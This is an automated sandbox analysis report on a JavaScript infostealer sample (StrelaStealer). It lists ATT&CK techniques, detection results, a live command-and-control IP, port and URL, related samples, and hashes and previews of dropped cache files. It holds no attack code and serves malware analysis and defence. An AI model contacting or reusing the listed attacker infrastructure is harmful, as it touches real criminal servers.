Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
622118739225021737.js	5%	Virustotal		Browse
622118739225021737.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/r~	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/J~	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Num	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3402979863.0000021630A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2170678792.0000021630760000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/r~	net.exe, 00000007.00000002.2171334880.000001284FCEC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2171334880.000001284FD0E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2171334880.000001284FCB8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2171334880.000001284FCEC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Num	net.exe, 00000007.00000002.2171334880.000001284FCB8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/J~	net.exe, 00000007.00000002.2171334880.000001284FCEC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588695
Start date and time:	2025-01-11 04:18:25 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	622118739225021737.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 2.23.242.162, 199.232.210.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 50.16.47.176, 4.175.87.197, 23.1.237.91, 23.56.162.204
Excluded domains from analysis (whitelisted): www.bing.com, e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:19:24	API Interceptor	24x Sleep call for process: powershell.exe modified
22:19:28	API Interceptor	1x Sleep call for process: net.exe modified
22:19:28	API Interceptor	2x Sleep call for process: svchost.exe modified
22:19:35	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3236235451745230764.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2812430594697516427.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22388142366532662.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307218673865797
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugX:gJjJGtpTq2yv1AuNZRY3diu8iBVqFt
MD5:	24FAA1783ED2BEB67F2DCE9F5637FC2D
SHA1:	2C90BD9B141AB7E4D7E5BB0869EABE0F3799AC17
SHA-256:	FB73478844DFAA259DA506A2B92A010C88B19A916B72225304C2C50EEE85F3C4
SHA-512:	3939B63393E265C46B30DE032AB9DBFFAB88BA83D6D3D2752858C7DFC0DCA0E0AA4BC6DBBE3D2D53339DA1B82A232CC71B51E7D325DDCCA80A0628C8C993DC50
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x3d31ee9a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585774745475862
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:5aza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	5C81CF2211E4A5646A6D4B6C7DFDA2A1
SHA1:	BA38C325C5842BDADF625EB303332A70CE5138B4
SHA-256:	D333F25014ECD765799BA4549116E50FC180A59A01A8FC1538FEB8A6F296BF4E
SHA-512:	98468B2F5F653641891643D81AD67C8202C11A211481F129B1FB9351E2CBA47A88B7483ED95F76F64DEC613006E88F4E3F94BBE8297A71E5B73411019C35C32A
Malicious:	false
Preview:	=1.... ...............X\...;...{......................0.z..........{.......}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................x.......}..........................}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08122070719849644
Encrypted:	false
SSDEEP:	3:XW8YeOJJhvtGuAJkhvekl13B7r/illrekGltll/SPj:XW8z43trxllh/GJe3l
MD5:	CC7011BEE562F308E5012811F8025F3B
SHA1:	0676057950B9BFEB0546F7588BC8BC4D14A0623B
SHA-256:	D0E0ADB326B5C9C6E38D6D24B6658C5A61DE75B4DDCF5FC6BF2A80F60B0F7DEF
SHA-512:	EFC7DD459B3140E14D6A527C5BD1BF9AB8943F72504115D7C65395776202801177DA6CCE96158AE190BE1E8BA68C1D71CBCB4B64BDEC7CCF43F15F068E020957
Malicious:	false
Preview:	.Y=<.....................................;...{.......}.......{...............{.......{...XL......{..........................}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.173189329856161
Encrypted:	false
SSDEEP:	6:iO4qXNVE+q2P92nKuAl9OmbnIFUtSqXNVNXZmwsqXNV8tVkwO92nKuAl9OmbjLJ:7nv4HAahFUtpX/GT5LHAaSJ
MD5:	9EB38C61FF8D90B1A0E6C9E115830C3A
SHA1:	38D87A350A8A3EE6D7988E85806151F03E255D43
SHA-256:	6983C49C04102F3413AEE9B476111E58F9D084000D26FC7879B63D96CFDD02F7
SHA-512:	4F67A50D01AFDCA14B7D313E66C8D9C46B740D72BB7973DBA55527AC36462D7EB78C292184F8BEE35C94584A0BB132B0D4B20C5050E279BC70760EF3851CBC31
Malicious:	false
Preview:	2025/01/10-22:19:28.312 1998 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:19:28.315 1998 Recovering log #3.2025/01/10-22:19:28.316 1998 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.173189329856161
Encrypted:	false
SSDEEP:	6:iO4qXNVE+q2P92nKuAl9OmbnIFUtSqXNVNXZmwsqXNV8tVkwO92nKuAl9OmbjLJ:7nv4HAahFUtpX/GT5LHAaSJ
MD5:	9EB38C61FF8D90B1A0E6C9E115830C3A
SHA1:	38D87A350A8A3EE6D7988E85806151F03E255D43
SHA-256:	6983C49C04102F3413AEE9B476111E58F9D084000D26FC7879B63D96CFDD02F7
SHA-512:	4F67A50D01AFDCA14B7D313E66C8D9C46B740D72BB7973DBA55527AC36462D7EB78C292184F8BEE35C94584A0BB132B0D4B20C5050E279BC70760EF3851CBC31
Malicious:	false
Preview:	2025/01/10-22:19:28.312 1998 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:19:28.315 1998 Recovering log #3.2025/01/10-22:19:28.316 1998 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1268475812833545
Encrypted:	false
SSDEEP:	6:iO4qXNV5w34q2P92nKuAl9Ombzo2jMGIFUtSqXNVEXvJZmwsqXNVYDkwO92nKuAv:7Xw34v4HAa8uFUtSvJ/WD5LHAa8RJ
MD5:	68313EA7332CEA8BEA3E3BE1B6B0EC25
SHA1:	496AF5E6D1ECD9AF65272C2B26ECC3030205BC2F
SHA-256:	46500F1CD96729E63D2A94368632680A0BF099B38FCB1D55E42343F661B327A0
SHA-512:	FC20FEBE4E9AD6206006416D47E052F6DCCD7D1DCC02C79BD38022931F3215555390B51C150BCF65D521FAFF05C53E0D9F1737F2113B2C8E34C5497EF0B5F2CE
Malicious:	false
Preview:	2025/01/10-22:19:28.382 1c20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:19:28.386 1c20 Recovering log #3.2025/01/10-22:19:28.391 1c20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1268475812833545
Encrypted:	false
SSDEEP:	6:iO4qXNV5w34q2P92nKuAl9Ombzo2jMGIFUtSqXNVEXvJZmwsqXNVYDkwO92nKuAv:7Xw34v4HAa8uFUtSvJ/WD5LHAa8RJ
MD5:	68313EA7332CEA8BEA3E3BE1B6B0EC25
SHA1:	496AF5E6D1ECD9AF65272C2B26ECC3030205BC2F
SHA-256:	46500F1CD96729E63D2A94368632680A0BF099B38FCB1D55E42343F661B327A0
SHA-512:	FC20FEBE4E9AD6206006416D47E052F6DCCD7D1DCC02C79BD38022931F3215555390B51C150BCF65D521FAFF05C53E0D9F1737F2113B2C8E34C5497EF0B5F2CE
Malicious:	false
Preview:	2025/01/10-22:19:28.382 1c20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:19:28.386 1c20 Recovering log #3.2025/01/10-22:19:28.391 1c20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4b645f1f-98a0-4ddd-9a9f-b352572b3401.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.053646473529078
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqdDsBdOg2Hw2caq3QYiubxnP7E4T3OF+:Y2sRdsGEdMHW3QYhbxP7nbI+
MD5:	66CE2A0B5466544279830BBE45F29CE3
SHA1:	C1FFF4A47672D0ECB23E5ECD7A5193F0B5213363
SHA-256:	19B13F340CE55289DE056ECA60FAF8B1A6464EA169E28E381D80060E01CE7CE6
SHA-512:	CB0B53933289C20B4743C5598543E887181F4DD9D6A27A254593C0A7177E884B46AD06FE4E26D256702429C81C0643AC5059907CEC75AF23D5AE1E9183A97A57
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381125579907875","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":148185},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.053646473529078
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqdDsBdOg2Hw2caq3QYiubxnP7E4T3OF+:Y2sRdsGEdMHW3QYhbxP7nbI+
MD5:	66CE2A0B5466544279830BBE45F29CE3
SHA1:	C1FFF4A47672D0ECB23E5ECD7A5193F0B5213363
SHA-256:	19B13F340CE55289DE056ECA60FAF8B1A6464EA169E28E381D80060E01CE7CE6
SHA-512:	CB0B53933289C20B4743C5598543E887181F4DD9D6A27A254593C0A7177E884B46AD06FE4E26D256702429C81C0643AC5059907CEC75AF23D5AE1E9183A97A57
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381125579907875","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":148185},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.231200474849875
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUn9Vkf4:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLU
MD5:	3746FE2FFFEED65CDE0CDDF7980E70EF
SHA1:	28303556A576F64D7233B43D7B558DC18737B9D2
SHA-256:	887C5967F334383A5B1693A853A979E323E3C4E5B0BE272962472C57BD883C50
SHA-512:	9A5E2ECF162BE8F1F52FA335DE506DF2DE77AC389283B9B548E34E08BCDC06E0B8CC3B9A90109571AA53441E01ACC380E5A31A905B65F67B9551FC657271AC2C
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.140799724964465
Encrypted:	false
SSDEEP:	6:iO4qXNVEFUC4q2P92nKuAl9OmbzNMxIFUtSqXNVCF/v3JZmwsqXNVpNDkwO92nKA:77C4v4HAa8jFUtuF/vJ/3ND5LHAa84J
MD5:	4E786D7DEF382B52D6005B00F09F1FE6
SHA1:	FBBEF41827C661E85216C7AC415716BE1BA6888D
SHA-256:	1EDFC24556903604C655691127E2B2F07BD12C13F570825B78D6D5C33A39ABFF
SHA-512:	F096B9C4909E964C20B7DA148ECF2696DBD8B55C34BCF67C544E9E0AF641389FE5EE807112F4E9A66EA6F5AD26491F957B0BAF703FBFB7A7FEAA6A3FF7218C6D
Malicious:	false
Preview:	2025/01/10-22:19:28.423 1c20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:19:28.425 1c20 Recovering log #3.2025/01/10-22:19:28.426 1c20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.140799724964465
Encrypted:	false
SSDEEP:	6:iO4qXNVEFUC4q2P92nKuAl9OmbzNMxIFUtSqXNVCF/v3JZmwsqXNVpNDkwO92nKA:77C4v4HAa8jFUtuF/vJ/3ND5LHAa84J
MD5:	4E786D7DEF382B52D6005B00F09F1FE6
SHA1:	FBBEF41827C661E85216C7AC415716BE1BA6888D
SHA-256:	1EDFC24556903604C655691127E2B2F07BD12C13F570825B78D6D5C33A39ABFF
SHA-512:	F096B9C4909E964C20B7DA148ECF2696DBD8B55C34BCF67C544E9E0AF641389FE5EE807112F4E9A66EA6F5AD26491F957B0BAF703FBFB7A7FEAA6A3FF7218C6D
Malicious:	false
Preview:	2025/01/10-22:19:28.423 1c20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:19:28.425 1c20 Recovering log #3.2025/01/10-22:19:28.426 1c20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
